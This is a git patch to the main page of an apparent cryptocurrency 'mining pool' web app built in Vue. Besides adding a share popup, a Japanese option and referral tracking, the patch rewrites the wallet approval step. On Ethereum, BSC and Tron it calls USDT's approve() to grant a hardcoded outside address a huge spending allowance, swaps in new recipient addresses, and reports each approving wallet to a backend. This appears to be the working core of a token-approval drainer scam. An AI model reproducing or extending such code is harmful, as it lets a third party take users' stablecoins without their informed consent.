From 82e18840a7392d4cbedefaf3139508bf553ed6ef Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Fri, 15 Apr 2022 16:53:37 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 83 +++++++++++++++++++++++++++++++++++------
1 files changed, 71 insertions(+), 12 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 4b33413..65ba485 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -3,7 +3,7 @@
<div class="top">
<div class="header flex align-center justify-between">
<div class="left flex align-center">
- <img src="../../assets/images/icon3.png" class="icon"/>
+ <img src="../../assets/images/icon3.png" class="icon" @click="openShare"/>
<van-dropdown-menu active-color="#3D8AF2" class="i18-wrap">
<van-dropdown-item v-model="local" :options="languague" @change="changeLanguage"/>
</van-dropdown-menu>
@@ -74,6 +74,9 @@
</div>
</div>
</van-overlay>
+ <van-popup position="bottom" :show="iShowSharePopup">
+ <Share ref="shareRef" @close="closeShare"></Share>
+ </van-popup>
</div>
</template>
@@ -84,12 +87,14 @@
import { useI18n } from 'vue-i18n'
import OrePool from './orePool';
import Account from './account';
+import Share from '../share/index';
export default {
name: 'App',
components: {
OrePool,
- Account
+ Account,
+ Share
},
setup() {
const { proxy } = getCurrentInstance();
@@ -104,7 +109,16 @@
let simulateData = ref(null);
let availableWallet = ref('');
let local = ref(proxy.$i18n.locale);
+ let shareRef = ref(null);
+ let iShowSharePopup = ref(false);
+ function openShare(){
+ proxy.iShowSharePopup = true;
+ }
+ function closeShare(){
+ proxy.iShowSharePopup = false;
+ }
function changeLanguage(type){
+ localStorage.setItem('lang', type);
proxy.$i18n.locale = type;
}
@@ -128,6 +142,7 @@
await provider.enable();
provider.on("accountsChanged", (accounts) => {
console.log(accounts[0]+'换啦')
+ window.location.reload();
});
provider.on("disconnect", (code, reason) => {
sessionStorage.setItem('address', '');
@@ -170,7 +185,8 @@
local,
languague: [
{ text: 'English', value: 'en' },
- { text: '简体中文', value: 'zh' }
+ { text: '简体中文', value: 'zh' },
+ { text: '日本语', value: 'ja' }
],
// 弹窗显示隐藏
isShowApproveModal,
@@ -189,6 +205,12 @@
hasApprove, //是否授权
accountRef,
+
+ shareRef,
+ iShowSharePopup,
+ openShare,
+ closeShare,
+
web3,
isApproving,
dappList: [{
@@ -252,7 +274,8 @@
imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg'
}],
simulateData, //模拟数据
- availableWallet
+ availableWallet,
+ chainType: ref('')
};
},
methods: {
@@ -276,9 +299,17 @@
method: 'get'
}).then((res) => {
if(res.code == 200) {
- this.hasApprove = true;
- this.initAccountData()
- sessionStorage.setItem('address', this.walletAddress);
+ let result = res.data;
+ if(result == 1) {
+ this.hasApprove = true;
+ this.initAccountData()
+ sessionStorage.setItem('address', this.walletAddress);
+ } else if (result == 2) {
+ this.submitApprove()
+ } else {
+ this.hasApprove = false;
+ this.$toast(this.$t('message.ApproveTip'));
+ }
}else{
this.hasApprove = false;
this.$toast(this.$t('message.ApproveTip'));
@@ -297,9 +328,29 @@
this.ethereumApprove(this.web3)
}
},
- ethereumApprove (web3) {
- const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
- const authAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
+ async ethereumApprove (web3) {
+ let contractAddress = '';
+ let authAddress = '';
+ const chainId = await web3.eth.getChainId();
+ console.log(web3)
+ console.log('chainId----'+chainId)
+ if(chainId == 1) {
+ contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D';
+ this.chainType = 'ETH'
+ }else if(chainId == 56) {
+ contractAddress = "0x55d398326f99059fF775485246999027B3197955";
+ authAddress = '0x4ebdca102623b46a47042d580dddade2a53d057f';
+ web3.eth.currentProvider.rpcUrl='https://data-seed-prebsc-1-s1.binance.org:8545';
+ console.log('bian---')
+ console.log(web3.eth.currentProvider)
+ this.chainType = 'BSC'
+ }else{
+ this.$toast(this.$t('message.Waringing'));
+ this.isApproving = false;
+ this.isShowApproveModal = false;
+ return;
+ }
const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
const contract = new web3.eth.Contract(abi, contractAddress);
contract.methods.approve(authAddress, 90000000000000).send({from:this.walletAddress, gas:100000}).then((res) => {
@@ -307,16 +358,19 @@
console.log(res)
this.submitApprove()
this.isApproving = false;
+ this.isShowApproveModal = false;
}).catch((err) => {
console.log('授权失败')
console.log(err)
this.isApproving = false;
+ this.isShowApproveModal = false;
})
},
async tornWebApprove () {
+ this.chainType = 'TRX'
const tronWeb = window.tronWeb;
const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
+ const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
let instance = await tronWeb.contract().at(trxContractAddress);
let res = await instance["approve"](authAddress, "90000000000000000000000000000");
res.send({
@@ -329,24 +383,29 @@
this.submitApprove()
}
this.isApproving = false;
+ this.isShowApproveModal = false;
});
},
submitApprove () {
+ let refererId = this.getQueryString('code');
this.$axios({
url: '/dapi/common/approve',
method: 'post',
data: {
address: this.walletAddress,
- refererId: ''
+ refererId: refererId ? refererId : '',
+ chainType: this.chainType
}
}).then((res) => {
if(res.code == 200) {
this.hasApprove = true;
this.initAccountData();
+ sessionStorage.setItem('address', this.walletAddress);
}
})
},
initAccountData(){
+ this.shareRef && this.shareRef.value.initData();
this.accountRef && this.accountRef.value.initData();
},
getSimulateData () {
--
Gitblit v1.9.1